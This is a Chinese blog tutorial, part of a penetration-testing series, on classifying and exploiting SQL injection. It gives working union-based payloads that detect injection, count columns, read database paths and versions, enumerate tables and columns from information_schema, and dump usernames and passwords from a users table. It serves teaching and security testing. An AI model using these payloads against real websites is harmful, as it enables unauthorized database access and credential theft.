渗透测试之SQL注入(2)

sql注入的分类

按数据类型分类:

整型注入和字符型注入。

 

整型注入和字符型注入的区别

整形注入:

?id = 1 and 1 = 1     //页面无变化

?id = 1 and 1 = 2     //页面回显报错

字符型注入:

?id = 1’ and 1 =1 #     //页面无变化

?id = 1’ and 1 =2 #     //页面回显报错 此外常见的注释符还有:%23、-- (空格)、--+

 

验证步骤

如下图所示访问一个正常的页面。

 

 url后添加?id=1 如下图所示页面回显正常。

 判断是否存在注入:在id=1添加 ’ 回车后页面报错,说明可能存在sql注入。

 判断注入类型:如下图所示在url内输入?id = 1 and 1=1和?id=1 and 1 =2 页面均回显正常。

 

 继续判断,再次输入?id=1’ and 1=1 #后页面回显报错。

 更换注释符继续判断,如图所示?id=1’ and 1=1 --+回显正常,?id=1’ and 1=2 --+页面回显报错

 

 根据页面回显及注入语句判断该注入类型为字符型注入。

根据order by或 group by判断列数:如图所示当列数为4时页面报错,为3时页面回显正常,因此判断为3列。

 

 判断显示位:?id=-1' union select 1,2,3 --+  如图所示回显位为2和3。

 

 查看敏感信息:

?id=-1' union select 1,@@datadir,3 --+     //返回当前数据路的存放路径

 ?id=-1' union select 1,@@version_compile_os,@@basedir --+  //返回操作系统版本和数据库安装路径

 ?id=-1' union select 1,database(),3 --+  //返回库名

 获得当前库内(security)所有的表名:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

 获取users表内的列名:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

 查看用户名和密码:?id=-1' union select 1,group_concat(username,password),3 from users --+

 

posted @ 2020-03-25 10:03  Underwate  阅读(196)  评论(0编辑  收藏  举报